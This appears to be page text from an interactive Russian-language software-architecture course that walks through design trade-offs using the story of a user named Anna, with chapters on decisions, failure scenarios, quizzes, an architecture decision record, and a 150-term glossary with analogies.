        Такси в пробке непредсказуемо, пешком не успеть. Метро медленнее такси без пробок, но приходит вовремя почти всегда.
        чем платим
        Давка в вагоне и десять минут пешком от станции. Эту цену Анна приняла осознанно.
        Главная мысль: правильных ответов без цены не бывает. Хорошее решение — не то, у которого нет минусов, а то, у которого минусы известны заранее и приемлемы для этой задачи. Поэтому в каждом эпизоде дальше вы увидите не только «почему так», но и «чем платим».

        Каждое решение опирается на разделы тренажёра, где тема разобрана подробно. Под эпизодом будут кнопки со ссылками — если что-то непонятно, загляните туда и возвращайтесь.

        глава 3 · решения эпизод 1 из 14

        Теперь архитектор — вы. Каждый эпизод начинается с того, что произошло с Анной или с проектом. Выберите вариант — и увидите разбор: почему он хорош или плох, чем за него платят и где тема разобрана подробно. Решения накапливаются: из них в конце соберётся документ.

        глава 4 · что получилось собираем систему по кирпичику

        Посмотрим, как из решений вырастает система. Нажимайте «Дальше»: на схеме по одному появляются компоненты, а подсвеченная цепочка показывает, как по ним идёт запрос Анны. Цифры в углу — порядок, в котором запрос проходит компоненты.

        глава 5 · почему это важно что, если сломается

        Архитектуру проверяют не в хороший день, а в плохой. Выберите аварию — схема из главы 4 покажет, что сломалось (красным) и что задело (жёлтым), а ниже будет рассказ, что при этом видит Анна и какое из ваших решений её спасло.

        ℹВыберите аварию выше.

        глава 6 · задание проверьте себя на истории Анны

        Пять вопросов по тому, что мы собрали. Правильно: 0 из 5.

        глава 7 · результат документ архитектурного решения

        Всё, что вы решили в главе 3, собирается в документ. Такой документ обычно просят приложить к постановке задачи: он объясняет следующему архитектору, почему система устроена именно так.

        Документ появится здесь, когда вы пройдёте все четырнадцать эпизодов в главе 3.
        Дальше → глоссарий: 150 терминов простыми словами, с аналогиями и ссылками на разделы

        Сто пятьдесят восемь слов, которые вы услышите в разговорах об архитектуре. У каждого — простое определение в одну фразу, житейская аналогия и кнопка, которая ведёт в раздел, где тема разобрана по-настоящему.

        как пользоваться словарь, а не учебник

        Представьте: вы на встрече, и кто-то говорит «тут нужен outbox, а то при падении реле потеряем события». Два незнакомых слова в одной фразе — и нить разговора потеряна. Глоссарий нужен ровно для такой минуты: быстро найти слово, понять его на пальцах и вернуться в разговор.

        1 · Найдите слово

        Начните печатать в поиске — ищет и по названию, и по объяснению. Или нажмите букву, или выберите тему.

        2 · Прочитайте в три слоя

        Сначала одна простая фраза. Потом аналогия из жизни — чтобы «щёлкнуло». Серым ниже — как это формулируют специалисты.

        3 · Идите вглубь

        Кнопка «📖 раздел» откроет часть тренажёра, где термин разобран с примерами и интерактивом.

        поиск глоссарий

        Найдено: —

        проверьте себя угадайте термин по аналогии

        Аналогия — лучший способ проверить, что слово понятно. Прочитайте житейскую картинку и выберите термин. Правильно: 0 из 5.